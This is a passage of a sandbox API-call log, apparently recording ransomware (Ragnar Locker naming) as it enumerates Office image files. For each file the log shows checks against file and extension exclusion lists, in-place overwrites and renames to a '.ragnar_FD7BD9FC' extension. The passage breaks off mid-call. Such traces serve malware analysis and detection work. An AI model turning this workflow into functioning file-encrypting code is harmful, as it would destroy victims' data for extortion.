lstrcmpiW (lpString1="BD15272_.GIF", lpString2="bootmgr") returned -1 [0099.684] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="bootmgr.efi") returned -1 [0099.684] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.684] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="desktop.ini") returned -1 [0099.685] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="iconcache.db") returned -1 [0099.685] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="ntldr") returned -1 [0099.685] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="ntuser.dat") returned -1 [0099.685] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.685] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="ntuser.ini") returned -1 [0099.685] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="thumbs.db") returned -1 [0099.685] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.685] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.685] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.685] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.685] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.685] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.685] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif")) returned 0x20 [0099.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.686] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=456) returned 1 [0099.686] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.686] GetProcessHeap () returned 0x580000 [0099.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.686] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.687] VirtualAlloc (lpAddress=0x0, dwSize=0x1c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.687] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.687] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.687] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1c8, lpOverlapped=0x0) returned 1 [0099.687] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.687] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.687] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1c8, lpOverlapped=0x0) returned 1 [0099.688] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.688] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.688] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.688] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.688] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.688] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.688] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.688] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.688] GetProcessHeap () returned 0x580000 [0099.688] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.688] CloseHandle (hObject=0x10c) returned 1 [0099.690] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" [0099.690] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF.ragnar_FD7BD9FC" [0099.690] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.693] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc789500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc789500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15273_.GIF", cAlternateFileName="")) returned 1 [0099.693] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.693] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15273_.GIF" | out: lpString1="BD15273_.GIF") returned="BD15273_.GIF" [0099.693] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF") returned=".GIF" [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="autorun.inf") returned 1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="boot.ini") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="bootfont.bin") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="bootsect.bak") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="bootmgr") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="bootmgr.efi") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="desktop.ini") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="iconcache.db") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="ntldr") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="ntuser.dat") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="ntuser.ini") returned -1 [0099.693] lstrcmpiW (lpString1="BD15273_.GIF", lpString2="thumbs.db") returned -1 [0099.693] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.693] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.693] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.693] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.693] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.694] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.694] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif")) returned 0x20 [0099.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.695] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=185) returned 1 [0099.695] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.695] GetProcessHeap () returned 0x580000 [0099.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.695] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.696] VirtualAlloc (lpAddress=0x0, dwSize=0xb9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.696] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.696] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.696] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb9, lpOverlapped=0x0) returned 1 [0099.696] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.697] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.697] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb9, lpOverlapped=0x0) returned 1 [0099.697] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.697] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.697] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.697] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.697] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.697] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.703] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.703] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.703] GetProcessHeap () returned 0x580000 [0099.703] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.703] CloseHandle (hObject=0x10c) returned 1 [0099.703] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" [0099.703] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF.ragnar_FD7BD9FC" [0099.703] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.704] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc998a500, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc998a500, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15274_.GIF", cAlternateFileName="")) returned 1 [0099.705] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.705] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15274_.GIF" | out: lpString1="BD15274_.GIF") returned="BD15274_.GIF" [0099.705] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF") returned=".GIF" [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="autorun.inf") returned 1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="boot.ini") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="bootfont.bin") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="bootsect.bak") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="bootmgr") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="bootmgr.efi") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="desktop.ini") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="iconcache.db") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="ntldr") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="ntuser.dat") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="ntuser.ini") returned -1 [0099.705] lstrcmpiW (lpString1="BD15274_.GIF", lpString2="thumbs.db") returned -1 [0099.705] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.705] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.705] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.705] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.705] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.705] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.705] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif")) returned 0x20 [0099.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.706] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=208) returned 1 [0099.706] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.706] GetProcessHeap () returned 0x580000 [0099.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.706] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.708] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.708] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.709] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.709] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd0, lpOverlapped=0x0) returned 1 [0099.709] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.709] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd0, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.709] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd0, lpOverlapped=0x0) returned 1 [0099.709] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.709] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.709] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.709] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.709] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.709] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.709] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.709] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.710] GetProcessHeap () returned 0x580000 [0099.710] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.710] CloseHandle (hObject=0x10c) returned 1 [0099.710] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" [0099.710] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF.ragnar_FD7BD9FC" [0099.710] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.710] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7364b00, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc7364b00, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15275_.GIF", cAlternateFileName="")) returned 1 [0099.710] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.710] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15275_.GIF" | out: lpString1="BD15275_.GIF") returned="BD15275_.GIF" [0099.711] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF") returned=".GIF" [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="autorun.inf") returned 1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="boot.ini") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="bootfont.bin") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="bootsect.bak") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="bootmgr") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="bootmgr.efi") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="desktop.ini") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", lpString2="iconcache.db") returned -1 [0099.711] lstrcmpiW (lpString1="BD15275_.GIF", 